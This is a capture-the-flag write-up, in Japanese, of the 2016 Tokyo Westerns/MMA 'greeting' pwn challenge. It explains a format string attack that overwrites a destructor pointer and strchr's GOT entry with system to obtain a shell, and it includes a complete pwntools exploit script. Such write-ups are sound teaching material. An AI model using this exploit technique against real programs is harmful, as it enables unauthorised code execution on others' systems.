Tokyo Westerns/MMA CTF 2nd 2016: greeting

,

https://ctftime.org/task/2735

bataさんリストの先頭にあったのでpwn会でやった。これぐらいの難しさはbabyでなくてeasyじゃなかったっけか。

solution

format string attackでdestructorとGOTを書き換え、return-to-mainしてsystem("/bin/sh")。 入出力の文字列長の制約が変に厳しいので%hnあたりを上手く使う。

まず気付くのは.tomorisectionのnao関数。 実行すると呼ばれるがmainからは呼ばれていないこれは、constructorとして登録されていて、mainに入る前に呼ばれる。 gdbでset follow-fork-mode parentにせずに実行するとmainでbreakできなかったりするが、これはこの子のおかげ。

format string bugがあるが、printfの後に何も関数を踏まないので困ってしまう。 これはdestructorをを書き換えることで回避する。 naoが書かれている場所の下、__do_global_dtors_auxを書き換えればよい。

destructorでripを取ったとすると引数を渡すのに困る。 そこでmain関数の先頭に戻り、fgets/bin/shを渡して(systemに書き換えた)strchrに与え、shelを取る。

implementation

#!/usr/bin/env python2
from pwn import * # https://pypi.python.org/pypi/pwntools
import argparse
parser = argparse.ArgumentParser()
# parser.add_argument('host', nargs='?', default='localhost')
# parser.add_argument('port', nargs='?', default=8000, type=int)
parser.add_argument('--log-level', default='debug')
args = parser.parse_args()
context.log_level = args.log_level

dtor = 0x8049934 # 0x80485a0 -> main
main = 0x80485ed
strchr_got = 0x8049a50 # 0xffffffff -> system_plt
system_plt = 0x8048490

# p = remote(args.host, args.port)
p = process('./greeting')
p.recvuntil('Please tell me your name... ')
payload = ''
payload += 'AB'
payload += p32(strchr_got) # 12
payload += p32(strchr_got + 2) # 13
payload += p32(dtor) # 14
payload += '%%%dd%%12$hn' % ((u16(p32(system_plt)[0:2]) - len('Nice to meet you, AB' + 'AAAA' * 3)) % 65536)
payload += '%%%dd%%13$hn' % ((u16(p32(system_plt)[2:4]) - u16(p32(system_plt)[0:2])) % 65536)
payload += '%%%dd%%14$hhn' % ((ord(p32(main)[0]) - u16(p32(system_plt)[2:4])) % 256)
log.info(hex(len(payload)))
log.info(fiddling.hexdump(payload))
p.sendline(payload)
time.sleep(1)
p.sendline('sh')
time.sleep(1)
p.sendline('id')
p.interactive()